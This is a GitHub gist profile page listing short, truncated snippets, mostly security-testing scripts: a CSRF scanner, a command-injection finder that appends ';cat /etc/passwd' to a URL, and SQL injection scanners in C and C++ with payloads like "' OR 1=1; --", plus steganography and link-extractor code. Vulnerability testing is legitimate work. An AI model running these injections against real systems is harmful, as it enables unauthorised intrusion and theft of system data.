Skip to content

Instantly share code, notes, and snippets.

View R3DHULK's full-sized avatar
🏠
Working from home

Sumalya Chatterjee R3DHULK

🏠
Working from home
View GitHub Profile
@R3DHULK
R3DHULK / csrf-vulscan.py
Created February 10, 2023 16:32
CSRF Vulnerability Scanner In Python
import requests
from bs4 import BeautifulSoup
url=input("\033[92m Enter URL: ")
def csrf_scanner(url, payload):
headers = {
'Content-Type': 'application/x-www-form-urlencoded',
'Referer': url
}
response = requests.post(url, data=payload, headers=headers)
soup = BeautifulSoup(response.text, 'html.parser')
@R3DHULK
R3DHULK / command-line-vulfinder.py
Created February 10, 2023 16:35
Command Line Injection Vulnerability Finder Tool In Python
import requests #pip install requests
import re #pip install re
url=input("Enter URL: ")
def inject_command(url):
command = "cat /etc/passwd"
injected_url = url + ";" + command
return injected_url
@R3DHULK
R3DHULK / sql-vul-scan.cpp
Created February 10, 2023 16:48
SQL Injection Vulnerability Finder In CPP
#include <iostream>
#include <string>
#include <vector>
#include <curl/curl.h>
void scan(const std::string &url)
{
// These are common SQL injection payloads
std::vector<std::string> payloads = {
"' OR 1=1; --",
@R3DHULK
R3DHULK / sql-vul-scan.c
Created February 10, 2023 16:49
SQL Injection Vulnerability Scanner In C Language
#include <stdio.h>
#include <string.h>
#include <curl/curl.h>
void scan(char *url)
{
// These are common SQL injection payloads
char *payloads[] = {
"' OR 1=1; --",
"' OR '1'='1",
@R3DHULK
R3DHULK / encode-data-into-img.rb
Created February 12, 2023 19:08
Steganography Project In Ruby
require 'chunky_png'
def hide_message(input_image, output_image, message)
# Open the input image
image = ChunkyPNG::Image.from_file(input_image)
# Convert the message to binary
binary_message = message.unpack("B*").first
# Check if the message is too long to fit in the image
@R3DHULK
R3DHULK / pdf-reader.html
Created February 13, 2023 14:49
Javascript PDF Reader
<!DOCTYPE html>
<html>
<head>
<style>
#drop-area {
border: 2px dashed #ccc;
border-radius: 20px;
text-align: center;
padding: 50px;
@R3DHULK
R3DHULK / link-extractor.py
Created February 28, 2023 05:50
Python Link Extractor
@R3DHULK
R3DHULK / link-extractor.c
Created February 28, 2023 05:52
Link Extractor In C
@R3DHULK
R3DHULK / link-extractor.cpp
Created February 28, 2023 05:56
Link Extractor In CPP
@R3DHULK
R3DHULK / link-extractor.pl
Created February 28, 2023 05:58
Link Extractor In Perl